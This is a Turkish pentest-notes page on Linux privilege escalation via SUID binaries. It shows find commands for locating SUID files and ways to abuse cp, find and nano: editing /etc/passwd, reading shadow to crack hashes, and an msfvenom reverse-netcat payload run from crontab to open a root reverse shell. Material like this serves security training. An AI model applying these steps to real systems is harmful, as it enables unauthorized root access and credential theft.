Tufan Turhan
  • Introduction
  • Red Teaming
    • Initial Access
      • VoipHopper
      • SMB – SCF File Attacks
      • MITM6
      • LLMNR, NBT-NS, mDNS Zehirlemeleri ve Relay Ataklar
    • Responder - DNS Injection
    • Privilege Escalation
      • PrintNightmare
      • Juicy Potato ile Windows Yetki Yükseltme
      • Token Impersonation with Incognito
    • Active Directory & Kerberos
      • Kerberos
      • Kerberosting
      • AS-REP Roasting
      • Overpass The Hash/Pass The Key (PTK)
      • DCSync Attack
      • DCShadow Attack
      • GETTGT
      • Golden Tickets
      • Silver Tickets
      • PowerView
      • MS14-025 (GPP Abusing)
      • BloodHound
      • Procdump
    • Lateral Movement
      • RDP MiTM-Hijacking
      • Vlan Hopping
      • Pivoting
    • Network Pentest
      • IPv4 Subnet Cheat Sheet
      • DNS Spoofing
      • DHCP Rogue
    • Shell to Meterpreter
    • Turn Off or Bypass AV
    • Useful CMD or Powershell Command
    • Brute Force
    • Windows Dosya İndirme
    • Windows UAC Bypass
    • Insecure Dosya İzni
  • Pentesting
    • Pentesting FTP - 21
    • Pentesting SMTP - 25,465,587
    • Pentesting SMB - 139 & 445
    • Pentesting Telnet - 23
    • Pentesting DNS - 53
    • Pentesting MSRPC -135
    • Pentesting SNMP - 161,162
    • Pentesting LDAP - 389,636
    • Pentesting MSSQL - 1433
    • Pentesting MYSQL - 3306
    • Pentesting RDP - 3389
    • Pentesing WINRM 5985,5986
  • Web Application
    • 2FA/OTP Bypass
    • Captcha Bypass
    • Cache Poisoning
    • Command Injection (OS)
    • CRLF Injection
    • Cross-site WebSocket hijacking (CSWSH) -
    • Cross-site request forgery (CSRF) -
    • Dangling Markup -
    • Path traversal
    • File Upload
    • Formula Injection (CSV Injection)
    • Login Bypass List
    • OAuth -
    • Open Redirect
    • Race Condition -
    • Registration - Password Reset & Takeover Vulnerabilities
    • SQL Injection
    • SSRF
  • Linux Privilege Escalation
    • PHP Wrapper
    • Simple Http
    • Editing /etc/passwd
    • SUID Binaries
    • Sudo Rights
    • Otomatize Araçlar
    • OSCP Not
  • HTB
  • Reverse Shell w/Msfvenom
  • Upgrading Simple Shells to Fully Interactive TTYs
Powered by GitBook
On this page
  • SUID İzni nedir?
  • Suid nasıl ayarlanır?
  • SUID Dosyaları Nasıl Bulunur?
  • Privilege Escalation using the copy command
  • 1st Method
  • Privilege Escalation Using Find Command
  • VIM SUDO
  • Nano
  1. Linux Privilege Escalation

SUID Binaries

PreviousEditing /etc/passwdNextSudo Rights

Last updated 2 years ago

Her kullanıcının iznini ayarlamak için kullanılan maksimum bit sayısı okuma (4), yazma (2) ve çalıştırma (1) işleminin bir kombinasyonu olan 7'dir Örneğin, chmod 755'i ayarlarsanız, rwxr-xr-x gibi görünecektir.

Ancak her kullanıcıya özel izin verildiğinde SUID, SGID veya sticky bit olur.

Fazladan "4" biti user(owner) olarak ayarlandığında SUID (Set user ID) olur ve "2" biti grup olarak ayarlandığında SGID (Set Group ID) olur ve diğer kullanıcıların herhangi bir dosya oluşturmasına veya silmesine izin verilirse bir dizinin içindeki dosya, sticky bits “1” o dizine ayarlanır.

SUID İzni nedir?

SUID: Set User ID, kullanıcıların belirli bir kullanıcının izinleriyle bir dosyayı yürütmesine izin veren bir izin türüdür. Suid izinlerine sahip olan dosyalar daha yüksek ayrıcalıklarla çalışır. Hedef sisteme root olmayan bir kullanıcı olarak eriştiğimizi ve suid bit özellikli binary dosyalar bulduğumuzu varsayalım, o zaman bu file/program/command root ayrıcalıklarıyla çalışabilir.

Suid nasıl ayarlanır?

SUID Dosyaları Nasıl Bulunur?

find / -perm -u=s -type f 2>/dev/null

#Bulunduğu grubu aramak için:

find / -perm -g=s -type f 2>/dev/null

1) /dosya sisteminin en üstünden (kökünden) başlar ve her dizini arar

2) -perm, belirtilen izinlerin arandığını belirtir

3) -u=s, kök kullanıcının sahip olduğu dosyaları arar

4) -type, aradığımız dosyanın türünü belirtir

5) f, dizinleri veya özel dosyaları değil, normal bir dosyayı belirtir

6) 2, sürecin ikinci dosya tanıtıcısını belirtir, yani stderr (standart hata)

7) yönlendirme anlamına gelir

8) /dev/null, içine yazılan her şeyi çöpe atan özel bir dosya sistemi nesnesidir.

HOW SUID helps in privilege escalation?

Linux'ta, mevcut binary dosyalardan ve komutlardan bazıları, SUID biti etkinleştirildiyse, kök olmayan kullanıcılar tarafından kök erişim ayrıcalıklarını yükseltmek için kullanılabilir.

Ayrıcalık artışına izin verebilecek bazı ünlü Linux / Unix yürütülebilir komutları vardır: Bash, Cat, cp, echo, find, Less, More, Nano, Nmap, Vim vb.

Daha fazla komut ve yardım için şu siteyi kontrol edebiliriz:

Privilege Escalation using the copy command

Verileri kopyalamak için kullanılan cp komutu için suid biti etkinleştirilirse, kök erişimi elde etmek için yükseltme ayrıcalığına yol açabilir.

which cp

ls -al /bin/cp

chmod u+s /bin/cp

1st Method

find / -perm -u=s -type f 2>/dev/null

komutu ile arama yapıyoruz.

Cp komutu root yetkisi ile çalıştığı için /etc/passwd dosyasını okumak için bu dosyayı farklı bir yere kopyalayabiliriz.

cp /etc/passwd /home/kali/deneme

Eğer bizim erişimimiz yalnızca web sitesine varsa bu dosyayı /var/www/html in altına kopyalayıp web sitesinden de okuyabiliriz.

Bir parola hashi oluşturup, bu dosyanın altına ekleyelim daha sonra değiştirdiğimiz bu dosyayı gidip karşı sisteme yeniden yapıştıralım.

Ya da sisteme direkt erişim yoksa örneğin web sayfasından vs. komut çalıştırıyorsak, python ile bir web sunucusu kaldırırız, wget ile bu dosyayı çekeriz. sonra passwd'ye kopyalarız.

2nd Method

msfvenom kullanarak bir backdoor oluşturalım.

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.76 lport=1234 R

Oluşturduğum backdooru tuf.sh olarak kaydettim.

Bu payloadı cronttaba kopyalarak dakikalık istek gelmesini sağlayacağız.

Aynı zaman da netcat ile belirtilen portu dinleyip root yetkilerle reverse gelmesini bekleyeceğiz.

Privilege Escalation Using Find Command

Yine aynı şekilde find komutuna suid verelim

find / -perm -u=s -type f 2>/dev/null

komutu ile kontrol ettiğimiz de find komutunu da burada göreceğiz.

Böylece burada SUID bitinin find komutu için etkinleştirildiğini öğrendik, bu da find komutu içinde herhangi bir komutu çalıştırabileceğimiz anlamına gelir.

  • find . -exec whoami \; -quit

VIM SUDO

Nano

nano suid ise nano ile gidip /etc/passwd yi değiştrebiliriz ya da shadow'u okuruz hashi alırız john ile kırarız.

https://gtfobins.github.io/